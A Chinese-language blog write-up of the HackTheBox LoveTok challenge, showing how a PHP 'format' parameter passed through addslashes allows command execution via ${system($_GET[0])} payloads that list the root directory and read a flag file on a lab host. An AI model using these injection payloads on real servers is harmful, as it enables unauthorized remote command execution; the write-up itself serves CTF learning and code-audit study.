freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

HackTheBox-LoveTok WP,一道简单的 php 命令执行代码审计
2022-05-10 12:12:08
所属地 浙江省

HackTheBox-LoveTok

博客地址,还请大家多多支持 芜风

0x01 简单分析靶场

  • 靶场界面如图所示

image

f12 一下发现一串 SHA512 的序列

sha512-qTXRIMyZIFb8iQcfjXWCO8+M5Tbc38Qi5WzdPOYZHIlZpzBHG3L3by84BBBOiRGiEb7KKtAOAs5qYdUiZiQNNQ==

先放着吧,说不定到时候就用到了。

提示语也挺…… 嗯…… crazy 的。
image

点击下面的按钮,生成了 Find Love 的时间,没什么用,再去扫一下目录吧。

  • 等待扫目录的时间,将其源代码拉下来看看,可能又要代码审计了。

0x02 代码审计

单刀直入,寻找 flag

找遍所有文件,并未发现与 flag 有关的地方,这莫非是靠目录遍历打?或者是 上传 webshell 吗。思路不太确定,再看看代码吧

未寻找到 flag,需要静下心来代码审计

既然没有获取到 flag 的代码,那么确定下来漏洞/思路是命令执行,最终构造出来的 payload 一定是这样的

xxxxxx/cat/flag
  • 看完了整个文件夹当中的 php 文件,在 TimeModel 函数下找到了可控变量 format

  • 先简单介绍一下在 format 之前的addslashes函数

php addslashes 函数的作用是在预定义的字符前面加上反斜杠,这些预定义字符包括:
单引号(’);双引号(");反斜杠(\);NULL

addslashes 函数经常使用在向数据库插入数据时,比如有一个字符串

$str=“my name’s wxp”;

现在要将这个字符串插入到数据库表中,由于该字符串有单引号’,这样很可能与 MySQL 拼接字符串的单引号’冲突,导致 SQL 语句不正确,也就无法正常执行插入操作,此时我们需要使用 addslashes 函数处理这个字符串。如:

$str=“my name’s wxp”;

echo addslashes($str);//输出my name’s wxp

如果字符串$str="my name’s wxp"是使用POST和GET提交的数据,这个时候插入数据库中的数据是带反斜杠的,可知 addslashes 只是在 POST 和 GET 数据插入数据库时才会把反斜杠同时插入到数据库,其他情况下不会将反斜杠插入到数据库。

利用可控制变量 format

  • 去查阅了一下 php 当中一般的命令执行 payload,并且浅探一下原理

php GET 请求当中,可以通过?id=${phpinfo()}这种简单的方式进行命令执行

当我们使用${}时,内部的函数会被执行,一般出现这种现象都是后台未对传进的参数进行过滤/防御/校验。从而才会导致命令执行漏洞。

我们先编写 poc,在这一 poc 中,直接就执行 phpinfo 的命令了

http://167.172.52.221:30001/?format=${phpinfo()}

image

证明存在命令执行漏洞了,接着构造一下外带数据传参执行(这里直接命令执行是行不通的)。

http://167.172.52.221:30001/?format=${system($_GET(0))}&0=ls

image

原本想着 ls 直接搞出 flag 了,可谁知半路杀出个程咬金,命令执行失败了,这时猛地想到 format 之前有一个 addslashes 函数。所以,直接加上/即可

http://167.172.52.221:30001/?format=${system($_GET(0))}&0=ls /

成功执行

image

最上面一行有一个 flagRPYIs,那么尝试 cat flagRPYIs,进一步构造 payload

http://167.172.52.221:30001/?format=${system($_GET[0])}&0=cat+/flagRYPIs

这里的/要写在前面。

image

成功过了 ~

0x03 小结

本题是一道简单的 php 命令执行,难点在于 addslashes 这一函数很容易被大家所忽视,这也给实战渗透时的命令执行绕过提供了一些思维。

# php # 代码审计 # CTF # 命令执行 # HackTheBox
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录